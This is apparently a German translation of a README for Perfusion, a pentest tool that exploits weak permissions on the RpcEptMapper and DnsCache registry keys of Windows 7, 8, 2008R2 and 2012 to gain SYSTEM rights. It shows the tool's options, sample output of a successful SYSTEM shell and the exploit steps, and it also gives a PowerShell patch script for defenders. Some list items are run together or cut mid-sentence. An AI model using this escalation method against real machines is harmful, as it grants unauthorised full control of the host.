
Exploit für die Sicherheitslücke der RpcEptMapper-Registrierungsschlüssel-Berechtigungen (Windows 7 / 2088R2 / 8 / 2012)
Unter Windows 7, Windows Server 2008R2, Windows 8 und Windows Server 2012 ist der Registrierungsschlüssel der Dienste RpcEptMapper und DnsCache (nur 7/2008R2) mit schwachen Berechtigungen konfiguriert. Jeder lokale Benutzer kann einen Unterschlüssel Performance erstellen und dann die Windows-Leistungsindikatoren nutzen, um eine beliebige DLL im Kontext des WMI-Dienstes als NT AUTHORITY\SYSTEM zu laden (daher der Name des Tools).
Dieses Tool soll Sicherheitsberater bei Penetrationstests unterstützen. Diese Software wird ohne Gewähr bereitgestellt, und ich werde wahrscheinlich keinen Support leisten. Ich habe es jedoch auf drei verschiedenen virtuellen Maschinen gründlich getestet, sodass es keine größeren Probleme geben sollte.
Weitere Informationen: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
Laut 0patch wurde diese Sicherheitslücke mit dem Windows-Update vom April 2021 (ESU) teilweise behoben. Maschinen, die eine aktualisierte Version von Windows 8 / Server 2012 ausführen, sollten nicht mehr ausnutzbar sein. Windows 7 / Server 2008 R2 bleibt jedoch weiterhin anfällig. Sie müssen lediglich den Registrierungsschlüssel Dnscache anstelle von RpcEptMapper verwenden. Ich habe den PoC aktualisiert, sodass Sie ihn manuell mit der Option -k angeben können.
⚠️ LESEN SIE DIES, BEVOR SIE DIESES TOOL VERWENDEN ⚠️
Während der Entwicklung dieses Tools habe ich zwei verschiedene Verhaltensweisen beobachtet:
NT AUTHORITY\SYSTEM geladen – in diesem Fall funktioniert der Exploit einwandfrei.NT AUTHORITY\LOCAL SERVICE läuft. In diesem Fall lädt der Dienst die DLL unter Identitätswechsel des Clients. Es stellt sich heraus, dass eine Rechteausweitung unter Windows 7 immer noch möglich ist (aufgrund einer anderen Sicherheitslücke), aber der Implementierungsaufwand war den Aufwand nicht wert.Ich kann diesen Unterschied nicht erklären, da mein Trigger-Code immer derselbe war. Lassen Sie in jedem Fall den Exploit seine Arbeit tun, damit er nach Abschluss alles bereinigen kann. Wenn der Exploit fehlschlägt, besteht immer noch die Möglichkeit, dass er einige Minuten oder Stunden später funktioniert.
✔️ So sollte die Ausgabe aussehen, wenn der Exploit funktioniert:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ So sollte die Ausgabe aussehen, wenn der Exploit fehlschlägt:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
Diese Lösung besteht aus zwei Projekten, die in einer bestimmten Reihenfolge kompiliert werden müssen. Alles ist vorkonfiguriert, befolgen Sie einfach diese einfachen Anweisungen:
Release / x64Build > Projektmappe erstellenSie können die Hilfemeldung mit der Option -h anzeigen.
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
Die folgenden Windows-Versionen sind anfällig:
| Windows-Version | Anfällige Registrierungsschlüssel |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
Soweit ich weiß, wird diese Sicherheitslücke von Microsoft aus irgendeinem Grund nicht behoben. Die beste Lösung ist ein Upgrade auf Windows 10 / Server 2019. Falls dies kurzfristig nicht möglich ist, können Sie das Problem selbst beheben, indem Sie die Berechtigung CreateSubKey für sowohl NT AUTHORITY\Authenticated Users als auch BUILTIN\Users für die folgenden Registrierungsschlüssel entfernen:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheIch habe einen Patch für diese Sicherheitslücke in Form eines PowerShell-Skripts erstellt: RegistryPatch.ps1. Dieses Skript entfernt das Recht CreateSubKey für die beiden oben genannten Registrierungsschlüssel für die folgenden Identitäten: NT AUTHORITY\INTERACTIVE, BUILTIN\Users und/oder BUILTIN\Authenticated Users.
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
Im Folgenden sind die Exploit-Schritte aufgeführt, die in diesem Tool implementiert sind:
Temp-Ordner des aktuellen Benutzers geschrieben.Performance wird unter HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper erstellt und mit den entsprechenden Werten befüllt, einschließlich des vollständigen Pfads der in Schritt 2 erstellten DLL.Win32_Perf wird erstellt und aufgerufen, um die Sammlung von Windows-Leistungsindikatoren auszulösen.NT AUTHORITY\SYSTEM oder als NT AUTHORITY\LOCAL SERVICE geladen.NT AUTHORITY\SYSTEM geladen wird, wird dessen Token dupliziert und auf den in Schritt 1 vom Benutzer erstellten Prozess angewendet.